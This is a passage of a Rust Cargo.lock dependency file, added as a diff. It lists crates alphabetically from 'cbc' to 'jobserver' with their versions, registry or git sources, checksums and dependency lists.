"0.1.13+1.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "225bff33b2141874fe80d71e07d6eec4f85c5c216453dd96388240f96e1acc14" +dependencies = [ + "cc", + "pkg-config", +] + +[[package]] +name = "cbc" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6" +dependencies = [ + "cipher", +] + +[[package]] +name = "cc" +version = "1.2.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aebf35691d1bfb0ac386a69bac2fde4dd276fb618cf8bf4f5318fe285e821bb2" +dependencies = [ + "find-msvc-tools", + "jobserver", + "libc", + "shlex", +] + +[[package]] +name = "cexpr" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" +dependencies = [ + "nom", +] + +[[package]] +name = "cfg-if" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9555578bc9e57714c812a1f84e4fc5b4d21fcb063490c624de019f7464c91268" + +[[package]] +name = "cfg_aliases" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" + +[[package]] +name = "chacha20" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "chacha20poly1305" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10cd79432192d1c0f4e1a0fef9527696cc039165d729fb41b3f4f4f354c2dc35" +dependencies = [ + "aead", + "chacha20", + "cipher", + "poly1305", + "zeroize", +] + +[[package]] +name = "chrono" +version = "0.4.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c469d952047f47f91b68d1cba3f10d63c11d73e4636f24f08daf0278abf01c4d" +dependencies = [ + "android-tzdata", + "iana-time-zone", + "num-traits", + "windows-link 0.1.3", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", + "zeroize", +] + +[[package]] +name = "clang-sys" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b023947811758c97c59bf9d1c188fd619ad4718dcaa767947df1cadb14f39f4" +dependencies = [ + "glob", + "libc", + "libloading", +] + +[[package]] +name = "clap" +version = "4.5.43" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50fd97c9dc2399518aa331917ac6f274280ec5eb34e555dd291899745c48ec6f" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.5.43" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c35b5830294e1fa0462034af85cc95225a4cb07092c088c55bda3147cfcd8f65" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.5.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef4f52386a59ca4c860f7393bcf8abd8dfd91ecccc0f774635ff68e92eeef491" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "clap_lex" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b94f61472cee1439c0b966b47e3aca9ae07e45d070759512cd390ea2bebc6675" + +[[package]] +name = "cmake" +version = "0.1.57" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75443c44cd6b379beb8c5b45d85d0773baf31cce901fe7bb252f4eff3008ef7d" +dependencies = [ + "cc", +] + +[[package]] +name = "colorchoice" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b05b61dc5112cbb17e4b6cd61790d9845d13888356391624cbe7e41efeac1e75" + +[[package]] +name = "colored" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "117725a109d387c937a1533ce01b450cbde6b88abceea8473c4d7a85853cda3c" +dependencies = [ + "lazy_static", + "windows-sys 0.59.0", +] + +[[package]] +name = "concurrent-queue" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ca0197aee26d1ae37445ee532fefce43251d24cc7c166799f4d46817f1d3973" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "const-random" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87e00182fe74b066627d63b85fd550ac2998d4b0bd86bfed477a0ae4c7c71359" +dependencies = [ + "const-random-macro", +] + +[[package]] +name = "const-random-macro" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9d839f2a20b0aee515dc581a6172f2321f96cab76c1a38a4c584a194955390e" +dependencies = [ + "getrandom 0.2.16", + "once_cell", + "tiny-keccak", +] + +[[package]] +name = "cookie-factory" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9885fa71e26b8ab7855e2ec7cae6e9b380edff76cd052e07c683a0319d51b3a2" +dependencies = [ + "futures", +] + +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "crc32fast" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9481c1c90cbf2ac953f07c8d4a58aa3945c425b7185c9154d67a65e4230da511" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "cron" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5877d3fbf742507b66bc2a1945106bd30dd8504019d596901ddd012a4dd01740" +dependencies = [ + "chrono", + "once_cell", + "winnow 0.6.26", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" + +[[package]] +name = "crunchy" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "460fbee9c2c2f33933d720630a6a0bac33ba7053db5344fac858d4b8952d77d5" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "ctr" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" +dependencies = [ + "cipher", +] + +[[package]] +name = "curve25519-dalek" +version = "4.2.0" +source = "git+https://github.com/dalek-cryptography/curve25519-dalek?tag=curve25519-4.2.0#8016d6d9b9cdbaa681f24147e0b9377cc8cef934" +dependencies = [ + "cfg-if", + "cpufeatures", + "curve25519-dalek-derive", + "fiat-crypto", + "rustc_version", + "subtle", + "zeroize", +] + +[[package]] +name = "curve25519-dalek-derive" +version = "0.1.1" +source = "git+https://github.com/dalek-cryptography/curve25519-dalek?tag=curve25519-4.2.0#8016d6d9b9cdbaa681f24147e0b9377cc8cef934" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "darling" +version = "0.20.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc7f46116c46ff9ab3eb1597a45688b6715c6e628b5c133e288e709a29bcb4ee" +dependencies = [ + "darling_core", + "darling_macro", +] + +[[package]] +name = "darling_core" +version = "0.20.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d00b9596d185e565c2207a0b01f8bd1a135483d02d9b7b0a54b11da8d53412e" +dependencies = [ + "fnv", + "ident_case", + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "darling_macro" +version = "0.20.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc34b93ccb385b40dc71c6fceac4b2ad23662c7eeb248cf10d529b7e055b6ead" +dependencies = [ + "darling_core", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "des" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffdd80ce8ce993de27e9f063a444a4d53ce8e8db4c1f00cc03af5ad5a9867a1e" +dependencies = [ + "cipher", +] + +[[package]] +name = "detour" +version = "0.1.0" +source = "git+https://github.com/chainreactors/retour-rs?branch=fix-nightly1.67.0-changes#7225f88c0b4f3b7ea9334f5cc83489cb8d18d670" +dependencies = [ + "cfg-if", + "generic-array", + "lazy_static", + "libc", + "libudis86-sys", + "mmap-fixed-fixed", + "region", + "slice-pool", +] + +[[package]] +name = "deunicode" +version = "1.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "abd57806937c9cc163efc8ea3910e00a62e2aeb0b8119f1793a978088f8f6b04" + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", + "subtle", +] + +[[package]] +name = "displaydoc" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "downcast-rs" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75b325c5dbd37f80359721ad39aca5a29fb04c89279657cffdda8736d0c0b9d2" + +[[package]] +name = "duct" +version = "0.13.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e4ab5718d1224b63252cd0c6f74f6480f9ffeb117438a2e0f5cf6d9a4798929c" +dependencies = [ + "libc", + "once_cell", + "os_pipe", + "shared_child", +] + +[[package]] +name = "dummy" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3bbcf21279103a67372982cb1156a2154a452451dff2b884cf897ccecce389e0" +dependencies = [ + "darling", + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "dunce" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813" + +[[package]] +name = "ecb" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a8bfa975b1aec2145850fcaa1c6fe269a16578c44705a532ae3edc92b8881c7" +dependencies = [ + "cipher", +] + +[[package]] +name = "either" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" + +[[package]] +name = "email_address" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e079f19b08ca6239f47f8ba8509c11cf3ea30095831f7fed61441475edd8c449" +dependencies = [ + "serde", +] + +[[package]] +name = "embed-resource" +version = "3.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c6d81016d6c977deefb2ef8d8290da019e27cc26167e102185da528e6c0ab38" +dependencies = [ + "cc", + "memchr", + "rustc_version", + "toml", + "vswhom", + "winreg 0.55.0", +] + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "778e2ac28f6c47af28e4907f13ffd1e1ddbd400980a9abd7c8df189bf578a5ad" +dependencies = [ + "libc", + "windows-sys 0.60.2", +] + +[[package]] +name = "event-listener" +version = "2.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0" + +[[package]] +name = "event-listener" +version = "5.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13b66accf52311f30a0db42147dadea9850cb48cd070028831ae5f5d4b856ab" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8be9f3dfaaffdae2972880079a491a1a8bb7cbed0b8dd7a347f668b4150a3b93" +dependencies = [ + "event-listener 5.4.1", + "pin-project-lite", +] + +[[package]] +name = "fake" +version = "4.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2b0902eb36fbab51c14eda1c186bda119fcff91e5e4e7fc2dd2077298197ce8" +dependencies = [ + "deunicode", + "dummy", + "either", + "rand 0.9.2", +] + +[[package]] +name = "fancy-regex" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e24cb5a94bcae1e5408b0effca5cd7172ea3c5755049c5f3af4cd283a165298" +dependencies = [ + "bit-set", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "fastrand" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" + +[[package]] +name = "fiat-crypto" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64cd1e32ddd350061ae6edb1b082d7c54915b5c672c389143b9a63403a109f24" + +[[package]] +name = "filedescriptor" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e40758ed24c9b2eeb76c35fb0aebc66c626084edd827e07e1552279814c6682d" +dependencies = [ + "libc", + "thiserror 1.0.69", + "winapi", +] + +[[package]] +name = "filetime" +version = "0.2.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc0505cd1b6fa6580283f6bdf70a73fcf4aba1184038c90902b92b3dd0df63ed" +dependencies = [ + "cfg-if", + "libc", + "libredox", + "windows-sys 0.60.2", +] + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "fixedbitset" +version = "0.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d674e81391d1e1ab681a28d99df07927c6d4aa5b027d7da16ba32d1d21ecd99" + +[[package]] +name = "flate2" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc5a4e564e38c699f2880d3fda590bedc2e69f3f84cd48b457bd892ce61d0aa9" +dependencies = [ + "crc32fast", + "miniz_oxide 0.8.9", +] + +[[package]] +name = "fluent-uri" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1918b65d96df47d3591bed19c5cca17e3fa5d0707318e4b5ef2eae01764df7e5" +dependencies = [ + "borrow-or-share", + "ref-cast", + "serde", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + +[[package]] +name = "form_urlencoded" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "fraction" +version = "0.15.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f158e3ff0a1b334408dc9fb811cd99b446986f4d8b741bb08f9df1604085ae7" +dependencies = [ + "lazy_static", + "num", +] + +[[package]] +name = "fs_extra" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42703706b716c37f96a77aea830392ad231f44c9e9a67872fa5548707e11b11c" + +[[package]] +name = "futures" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65bc07b1a8bc7c85c5f2e110c476c7389b4554ba72af57d8445ea63a576b0876" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" + +[[package]] +name = "futures-executor" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6" + +[[package]] +name = "futures-lite" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f78e10609fe0e0b3f4157ffab1876319b5b0db102a2c60dc4626306dc46b44ad" +dependencies = [ + "fastrand", + "futures-core", + "futures-io", + "parking", + "pin-project-lite", +] + +[[package]] +name = "futures-macro" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "futures-rustls" +version = "0.26.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8f2f12607f92c69b12ed746fabf9ca4f5c482cba46679c1a75b874ed7c26adb" +dependencies = [ + "futures-io", + "rustls", + "rustls-pki-types", +] + +[[package]] +name = "futures-sink" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" + +[[package]] +name = "futures-task" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" + +[[package]] +name = "futures-timer" +version = "3.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f288b0a4f20f9a56b5d1da57e2227c661b7b16168e2f72365f57b63326e29b24" + +[[package]] +name = "futures-util" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.11.1+wasi-snapshot-preview1", +] + +[[package]] +name = "getrandom" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4" +dependencies = [ + "cfg-if", + "libc", + "r-efi", + "wasi 0.14.2+wasi-0.2.4", +] + +[[package]] +name = "gimli" +version = "0.28.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" + +[[package]] +name = "glob" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2" + +[[package]] +name = "gloo-timers" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbb143cf96099802033e0d4f4963b19fd2e0b728bcf076cd9cf7f6634f092994" +dependencies = [ + "futures-channel", + "futures-core", + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "goblin" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b363a30c165f666402fe6a3024d3bec7ebc898f96a4a23bd1c99f8dbf3f4f47" +dependencies = [ + "log", + "plain", + "scroll", +] + +[[package]] +name = "hashbrown" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "hermit-abi" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc0fef456e4baa96da950455cd02c081ca953b141298e41db3fc7e36b1da849c" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "hkdf" +version = "0.12.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" +dependencies = [ + "hmac", +] + +[[package]] +name = "hmac" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +dependencies = [ + "digest", +] + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "iana-time-zone" +version = "0.1.63" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b0c919e5debc312ad217002b8048a17b7d83f80703865bbfcfebb0458b0b27d8" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "log", + "wasm-bindgen", + "windows-core 0.61.2", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "icu_collections" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db2fa452206ebee18c4b5c2274dbf1de17008e874b4dc4f0aea9d01ca79e4526" +dependencies = [ + "displaydoc", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_locid" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13acbb8371917fc971be86fc8057c41a64b521c184808a698c02acc242dbf637" +dependencies = [ + "displaydoc", + "litemap", + "tinystr", + "writeable", + "zerovec", +] + +[[package]] +name = "icu_locid_transform" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01d11ac35de8e40fdeda00d9e1e9d92525f3f9d887cdd7aa81d727596788b54e" +dependencies = [ + "displaydoc", + "icu_locid", + "icu_locid_transform_data", + "icu_provider", + "tinystr", + "zerovec", +] + +[[package]] +name = "icu_locid_transform_data" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7515e6d781098bf9f7205ab3fc7e9709d34554ae0b21ddbcb5febfa4bc7df11d" + +[[package]] +name = "icu_normalizer" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19ce3e0da2ec68599d193c93d088142efd7f9c5d6fc9b803774855747dc6a84f" +dependencies = [ + "displaydoc", + "icu_collections", + "icu_normalizer_data", + "icu_properties", + "icu_provider", + "smallvec", + "utf16_iter", + "utf8_iter", + "write16", + "zerovec", +] + +[[package]] +name = "icu_normalizer_data" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c5e8338228bdc8ab83303f16b797e177953730f601a96c25d10cb3ab0daa0cb7" + +[[package]] +name = "icu_properties" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93d6020766cfc6302c15dbbc9c8778c37e62c14427cb7f6e601d849e092aeef5" +dependencies = [ + "displaydoc", + "icu_collections", + "icu_locid_transform", + "icu_properties_data", + "icu_provider", + "tinystr", + "zerovec", +] + +[[package]] +name = "icu_properties_data" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85fb8799753b75aee8d2a21d7c14d9f38921b54b3dbda10f5a3c7a7b82dba5e2" + +[[package]] +name = "icu_provider" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ed421c8a8ef78d3e2dbc98a973be2f3770cb42b606e3ab18d6237c4dfde68d9" +dependencies = [ + "displaydoc", + "icu_locid", + "icu_provider_macros", + "stable_deref_trait", + "tinystr", + "writeable", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_provider_macros" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ec89e9337638ecdc08744df490b221a7399bf8d164eb52a665454e60e075ad6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", +] + +[[package]] +name = "ident_case" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" + +[[package]] +name = "idna" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "686f825264d630750a544639377bae737628043f20d38bbc029e8f29ea968a7e" +dependencies = [ + "idna_adapter", + "smallvec", + "utf8_iter", +] + +[[package]] +name = "idna_adapter" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "daca1df1c957320b2cf139ac61e7bd64fed304c5040df000a745aa1de3b4ef71" +dependencies = [ + "icu_normalizer", + "icu_properties", +] + +[[package]] +name = "indexmap" +version = "2.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe4cd85333e22411419a0bcae1297d25e58c9443848b11dc6a86fefe8c78a661" +dependencies = [ + "equivalent", + "hashbrown", +] + +[[package]] +name = "inout" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" +dependencies = [ + "block-padding", + "generic-array", +] + +[[package]] +name = "io-uring" +version = "0.7.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d93587f37623a1a17d94ef2bc9ada592f5465fe7732084ab7beefabe5c77c0c4" +dependencies = [ + "bitflags 2.11.0", + "cfg-if", + "libc", +] + +[[package]] +name = "io_tee" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b3f7cef34251886990511df1c61443aa928499d598a9473929ab5a90a527304" + +[[package]] +name = "ioctl-rs" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7970510895cee30b3e9128319f2cefd4bde883a39f38baa279567ba3a7eb97d" +dependencies = [ + "libc", +] + +[[package]] +name = "is_terminal_polyfill" +version = "1.70.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf" + +[[package]] +name = "itertools" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "413ee7dfc52ee1a4949ceeb7dbc8a33f2d6c088194d9f922fb8318faf1f01186" +dependencies = [ + "either", +] + +[[package]] +name = "itertools" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b192c782037fadd9cfa75548310488aabdbf3d2da73885b31bd0abd03351285" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c" + +[[package]] +name = "jobserver" +version = "0.1.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum 